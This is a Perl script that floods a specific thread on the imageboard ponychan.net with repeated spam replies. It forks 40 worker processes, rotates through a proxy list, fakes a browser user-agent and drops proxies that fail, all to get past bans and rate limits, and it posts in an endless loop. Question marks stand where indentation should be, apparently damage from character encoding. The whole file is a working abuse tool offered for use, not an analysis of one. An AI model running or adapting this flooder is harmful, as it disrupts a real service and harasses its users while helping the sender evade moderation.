#!/usr/bin/perl
#usage: thread.pl http://url.of.thread

use strict;
use Socket;
use IO::Handle;
use LWP::UserAgent;
use HTTP::Request::Common;

?open PAGE, "comment.txt" or die $!;
??my $text = do { local $/; <PAGE> };
?close PAGE;
?
my $thread = $ARGV[0];

?my $ua = LWP::UserAgent->new();
?$ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)');
?
?my ($shit1, $shit2) = split('/chan/', $thread);
?my ($board, $rt) = split('/res/', $shit2);
?$rt =~ s/.html//;
?
my %proxies;
my $MAXFORK = 40;

open PROXIES, "proxies.txt";
?my $i = 0;
?while(<PROXIES>)
?{
??chomp;
??$proxies{$_} = 1;
??$i++;
?}
print STDERR "Found $i proxies in proxies.txt\n";

socketpair(AWAY, CONTROL, AF_UNIX, SOCK_STREAM, PF_UNSPEC);
AWAY->autoflush(1);
CONTROL->autoflush(1);

if(my $jpid = fork)
{
?close CONTROL;
}
else
{
?die "$!" unless defined $jpid;
?close AWAY;

?my $command;
?while(1)
?{
??chomp($command = <CONTROL>);

??if($command =~ /getproxy/)
??{
???if(keys %proxies > 0)
???{
????print CONTROL (keys %proxies)[int rand keys %proxies] . "\n";
???}
???else
???{
????print CONTROL "none\n";
???}
??}
??elsif($command =~ /fail (\S+)/)
??{
???delete($proxies{$1});
??}
??else
??{
???die "Bad command: $command";
??}
?}
}

for(my $i = 0;$i < $MAXFORK;$i++)
{
?FORK:
?{
??if(my $pid = fork)
??{
??}
??elsif(defined $pid)
??{
???while (1) {
????print AWAY "getproxy\n";
????chomp(my $proxy = <AWAY>);

????my $r = 0;
????$r = flood($proxy);

????if($r)
????{
?????print STDERR "Child $i succeeded\n";
????}
????else
????{
?????print STDERR "Child $i failed\n";
?????print AWAY "fail $proxy\n";
????}
???}
??}
??elsif($! =~ /No more process/)
??{
???redo FORK;
??}
??else
??{
???print STDERR "Hit process limit\n";
???goto ENDFORK;
??}
?}
}

sub InitHTTP {
?my $proxy = shift;

?$ua->timeout(5);
?$ua->proxy("http", "http://$proxy");

?return $ua;
}

sub flood {
?
?my $proxy = shift;
?my $ua = InitHTTP($proxy);
?my $pass = rand_string();
?my $name1 = rand_string();
?my $name2 = rand_string();

?
?my $post = $ua->post(
??'http://www.ponychan.net/chan/board.php',
??Content_Type=>'application/x-www-form-urlencoded',
??Content=>
??[
??board => $board,
??replythread => $rt,
??#name => $name1.'#'.$name2,
??name => '',
??em => 'noko',
??subject => '',
??message => $text,
??postpassword => $pass,
??Reply => 'z',
??]
??);

if ($post->is_success){ return 1; }
else{
print STDERR "Error: " . $post->status_line . "\n";
return 0;
} }

sub rand_string {
my $numb = rand(21);
my $chars = 'abcdefghijklmnopqrstuvwxyz1234567890';
?my @chars = split(//, $chars);
my $shit;
?while (length($shit) < $numb) {$shit .= $chars[int rand @chars];}
return $shit;
}